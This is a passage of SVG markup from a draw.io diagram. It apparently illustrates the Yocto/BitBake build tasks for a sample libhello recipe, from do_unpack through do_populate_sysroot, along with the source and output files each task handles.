style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 118px; height: 1px; padding-top: 780px; margin-left: 1018px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">Everything in <b>image</b> folder that is present in <b>SYSROOT_DIRS</b> will be copied here.</div></div></div></foreignObject><text x="1077" y="784" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">Everything in image...</text></switch></g><path d="M 3678 3600 Q 3678.29 3760.57 3993.14 3760.57 Q 4308 3760.57 4308 3640.42" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 4308 3613.42 L 4326 3649.42 L 4308 3640.42 L 4290 3649.42 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><path d="M 2428 3600 Q 2428 3760.57 2941.14 3760.57 Q 3454.29 3760.57 3454.4 3639.46" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 3454.43 3612.46 L 3472.39 3648.47 L 3454.4 3639.46 L 3436.39 3648.44 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="2748" y="3680" width="360" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 935px; margin-left: 732px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_install</font></div></div></div></foreignObject><text x="732" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_install</text></switch></g><rect x="2220" y="3350" width="456" height="110" rx="16.5" ry="16.5" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 851px; margin-left: 556px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">libhello.so.1.0</div></div></div></foreignObject><text x="612" y="855" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">libhello.so.1.0</text></switch></g><rect x="1668" y="3180" width="440" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 810px; margin-left: 472px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_configure<br /></font></div></div></div></foreignObject><text x="472" y="814" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_configure&#xa;</text></switch></g><rect x="2212" y="3200" width="456" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 810px; margin-left: 554px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">hellolib.h</div></div></div></foreignObject><text x="610" y="814" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">hellolib.h</text></switch></g><rect x="1788" y="3000" width="320" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 765px; margin-left: 487px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_patch<br /></font></div></div></div></foreignObject><text x="487" y="769" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_patch&#xa;</text></switch></g><rect x="2494" y="1620" width="360" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 420px; margin-left: 669px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_unpack<br /></font></div></div></div></foreignObject><text x="669" y="424" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_unpack&#xa;</text></switch></g><ellipse cx="2434" cy="1680" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 420px; margin-left: 595px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">6</b></font></div></div></div></foreignObject><text x="609" y="424" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">6</text></switch></g><ellipse cx="1728" cy="3060" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 765px; margin-left: 418px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">7</b></font></div></div></div></foreignObject><text x="432" y="769" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">7</text></switch></g><ellipse cx="1608" cy="3240" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 810px; margin-left: 388px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">8</b></font></div></div></div></foreignObject><text x="402" y="814" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">8</text></switch></g><rect x="1748" y="3310" width="360" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 843px; margin-left: 482px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_compile<br /></font></div></div></div></foreignObject><text x="482" y="846" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_compile&#xa;</text></switch></g><ellipse cx="1688" cy="3370" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 843px; margin-left: 408px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">9</b></font></div></div></div></foreignObject><text x="422" y="846" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">9</text></switch></g><ellipse cx="2688" cy="3740" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 935px; margin-left: 658px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">10</b></font></div></div></div></foreignObject><text x="672" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">10</text></switch></g><rect x="3728" y="3680" width="640" height="120" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 935px; margin-left: 1012px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">do_populate_sysroot</font></div></div></div></foreignObject><text x="1012" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">do_populate_sysroot</text></switch></g><ellipse cx="3668" cy="3740" rx="60.00000000000001" ry="60.00000000000001" fill="#000000" stroke="#56517e" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 28px; height: 1px; padding-top: 935px; margin-left: 903px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" color="#ffffff" size="1"><b style="font-size: 15px;">11</b></font></div></div></div></foreignObject><text x="917" y="939" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">11</text></switch></g><path d="M 7028 3280 Q 7028 3760.57 7372 3760.57 Q 7716 3760.57 7715.97 3640.42" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7715.96 3613.42 L 7733.97 3649.41 L 7715.97 3640.42 L 7697.97 3649.42 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="6748" y="2640" width="560" height="640" rx="84" ry="84" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><path d="M 7028 2320 Q 7028 2320 7028 2614.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7028 2635.53 L 7014 2607.53 L 7028 2614.53 L 7042 2607.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="6928" y="2160" width="200" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 48px; height: 1px; padding-top: 560px; margin-left: 1733px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">git</font></div></div></div></foreignObject><text x="1757" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">git</text></switch></g><rect x="6800" y="2720" width="456" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 690px; margin-left: 1701px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">Makefile</div></div></div></foreignObject><text x="1757" y="694" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">Makefile</text></switch></g><rect x="6800" y="2840" width="456" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 720px; margin-left: 1701px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">LICENSE</div></div></div></foreignObject><text x="1757" y="724" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">LICENSE</text></switch></g><path d="M 6800 3000 Q 6588 3000.57 6588 3088 Q 6588 3175.43 6759.58 3175.08" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 6786.58 3175.03 L 6750.62 3193.1 L 6759.58 3175.08 L 6750.55 3157.1 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="6800" y="2960" width="456" height="80" rx="12" ry="12" fill="#f5f5f5" stroke="#666666" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 750px; margin-left: 1701px;"><div data-drawio-colors="color: #333333; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(51, 51, 51); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">sayhello.c</div></div></div></foreignObject><text x="1757" y="754" fill="#333333" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sayhello.c</text></switch></g><rect x="6800" y="3120" width="456" height="110" rx="16.5" ry="16.5" fill="#eeeeee" stroke="#36393d" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 112px; height: 1px; padding-top: 794px; margin-left: 1701px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">sayhello</div></div></div></foreignObject><text x="1757" y="797" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">sayhello</text></switch></g><path d="M 7835.96 3600 Q 7828 3760.57 8090.86 3760.57 Q 8353.71 3760.57 8353.94 3640.42" fill="none" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 8353.99 3613.42 L 8371.93 3649.45 L 8353.94 3640.42 L 8335.93 3649.38 Z" fill="#000000" stroke="#000000" stroke-width="12" stroke-miterlimit="10" pointer-events="all"/><rect x="7475.96" y="2640" width="480" height="960" rx="72" ry="72" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-dasharray="12 12" pointer-events="all"/><path d="M 7715.96 2320 L 7715.96 2614.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7715.96 2635.53 L 7706.63 2607.53 L 7715.96 2614.53 L 7725.29 2607.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="7589.96" y="2160" width="252" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 61px; height: 1px; padding-top: 560px; margin-left: 1898px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">image</font></div></div></div></foreignObject><text x="1929" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">image</text></switch></g><path d="M 7716 2880 L 7716 2940 Q 7716 2980 7716.01 3017.26 L 7716.01 3054.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7716.02 3075.53 L 7706.68 3047.53 L 7716.01 3054.53 L 7725.35 3047.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="7629" y="2720" width="174" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 42px; height: 1px; padding-top: 700px; margin-left: 1908px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">usr</font></div></div></div></foreignObject><text x="1929" y="704" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">usr</text></switch></g><path d="M 7716.02 3240 L 7716 3394.53" fill="none" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 7716 3415.53 L 7706.67 3387.53 L 7716 3394.53 L 7725.34 3387.53 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-width="4" stroke-miterlimit="10" pointer-events="all"/><rect x="7608.52" y="3080" width="215" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 52px; height: 1px; padding-top: 790px; margin-left: 1903px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">bin</font></div></div></div></foreignObject><text x="1929" y="794" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">bin</text></switch></g><rect x="1268" y="2160" width="400" height="160" rx="24" ry="24" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" stroke-width="4" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 98px; height: 1px; padding-top: 560px; margin-left: 318px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter">libhello-0.1</font></div></div></div></foreignObject><text x="367" y="564" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="12px" text-anchor="middle">libhello-0.1</text></switch></g><path d="M 1241 2160 Q 1241.71 2220 1245.14 2050.29 Q 1248.57 1880.57 1785.14 1880.57 Q 2321.71 1880.57 2321.08 2127.06" fill="none" stroke="#000000" stroke-width="8" stroke-miterlimit="10" stroke-dasharray="8 16" pointer-events="stroke"/><path d="M 2321.02 2151.06 L 2310.44 2119.03 L 2321.08 2127.06 L 2331.77 2119.08 Z" fill="#000000" stroke="#000000" stroke-width="8" stroke-miterlimit="10" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 472px; margin-left: 435px;"><div data-drawio-colors="color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); border-color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 11px; font-family: &quot;Liberation Sans&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; background-color: rgb(255, 255, 255); border: 1px solid rgb(0, 0, 0); white-space: nowrap;"><font data-font-src="https://fonts.googleapis.com/css?family=Architects+Daughter" style="font-size: 14px;">S = "${WORKDIR}/git"</font></div></div></div></foreignObject><text x="435" y="475" fill="rgb(0, 0, 0)" font-family="Liberation Sans" font-size="11px" text-anchor="middle">S = "${WORKDIR}/git"</text></switch></g><rect x="3203" y="1620" width="252" height="100" rx="15" ry="15" fill="#000000" stroke="none" pointer-events="all"/><g transform="translate(-0.5 -0.5)scale(4)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 61px; height: 1px; padding-top: 418px; margin-left: 802px;"><div data-drawio-colors="color: #ffffff; " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: 